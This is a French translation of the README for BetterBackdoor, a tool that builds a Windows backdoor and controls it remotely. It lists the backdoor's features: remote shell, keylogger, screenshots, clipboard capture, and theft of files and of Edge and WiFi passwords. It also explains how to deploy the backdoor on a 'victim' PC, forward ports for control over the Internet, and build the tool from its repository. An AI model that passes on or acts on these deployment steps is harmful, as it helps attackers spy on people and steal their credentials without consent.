BetterBackdoor

Une porte dérobée (backdoor) est un outil utilisé pour obtenir un accès distant à une machine.

En général, les utilitaires de porte dérobée comme NetCat ont deux fonctions principales : rediriger l’entrée distante vers cmd ou bash et renvoyer la réponse. C’est utile, mais aussi limité. BetterBackdoor surmonte ces limitations en incluant la possibilité d’injecter des frappes, d’obtenir des captures d’écran, de transférer des fichiers, et bien d’autres tâches.

Fonctionnalités

BetterBackdoor permet de créer et de contrôler une porte dérobée.

Cette porte dérobée créée peut :

• Ouvrir un interpréteur de commandes
• Exécuter des scripts PowerShell
• Exécuter des DuckyScripts pour injecter des frappes
• Exfiltrer des fichiers selon leur extension
• Exfiltrer les mots de passe Microsoft Edge et WiFi
• Envoyer et recevoir des fichiers depuis et vers l’ordinateur de la victime
• Démarrer un enregistreur de frappe (KeyLogger)
• Prendre une capture d’écran de l’ordinateur de la victime
• Récupérer le texte copié dans le presse-papiers de la victime
• Récupérer le contenu d’un fichier de la victime (cat)
• Compresser un répertoire en fichier ZIP
• Décompresser un fichier ZIP

Cette porte dérobée utilise une connexion socket client-serveur pour communiquer. L’attaquant démarre un serveur, et la victime se connecte à ce serveur en tant que client. (Remarque : si plusieurs clients tentent de se connecter, l’utilisateur est invité à choisir le client auquel se connecter.) Une fois la connexion établie, des commandes peuvent être envoyées au client pour contrôler la porte dérobée.

Pour créer la porte dérobée, BetterBackdoor :

• Crée ‘run.jar’, le fichier jar de la porte dérobée, et le copie dans le répertoire ‘backdoor’.
• Ajoute un fichier texte contenant l’adresse IP de l’attaquant et une clé de chiffrement (si l’attaquant a choisi de chiffrer les données échangées avec la porte dérobée) à ‘run.jar’.
  • Remarque : ces données sont écrites en texte brut.
• Si souhaité, copie un environnement d’exécution Java (JRE) dans ‘backdoor’ et crée le fichier batch ‘run.bat’ pour exécuter la porte dérobée avec le JRE embarqué.

La porte dérobée peut fonctionner sur un réseau local (LAN) et sur Internet (WAN). Cependant, pour l’utiliser sur WAN, il est nécessaire de rediriger les ports.

Pour une utilisation sur WAN, les ports 1025 et 1026 doivent être redirigés depuis l’ordinateur de l’attaquant avec le protocole TCP sélectionné. Une fois cela fait, la porte dérobée peut être contrôlée par l’attaquant même si la victime et l’attaquant se trouvent sur des réseaux différents.

Pour démarrer la porte dérobée sur un PC victime, transférez tous les fichiers du répertoire ‘backdoor’ sur le PC victime.

Si un JRE est fourni avec la porte dérobée, exécutez run.bat, sinon exécutez run.jar.

Cela démarrera la porte dérobée sur le PC de la victime.

Une fois en cours d’exécution, pour contrôler la porte dérobée, vous devez revenir à BetterBackdoor et lancer l’option 1 au démarrage.

Démo

Prérequis

• Une distribution JDK Java >=8 doit être installée et ajoutée au PATH.
• Vous devez utiliser le même ordinateur pour créer et contrôler la porte dérobée.
  • L’adresse IP de cet ordinateur doit rester statique entre la création et le contrôle de la porte dérobée.
• L’ordinateur utilisé pour contrôler la porte dérobée doit avoir son pare-feu désactivé, et si l’ordinateur a un système d’exploitation Unix, BetterBackdoor doit être exécuté avec ‘sudo’.

Compatibilité

BetterBackdoor est compatible avec Windows, Mac et Linux, tandis que la porte dérobée n’est compatible qu’avec Windows.

Installation

# cloner BetterBackdoor
git clone https://github.com/thatcherclough/BetterBackdoor.git

# se placer dans le répertoire BetterBackdoor
cd BetterBackdoor

# construire BetterBackdoor avec Maven
# pour Windows, exécuter
mvnw.cmd clean package

# pour Linux et Mac, exécuter
sh mvnw clean package

Utilisation

java -jar betterbackdoor.jar

Licence

• MIT
• Copyright 2020 © Thatcher Clough.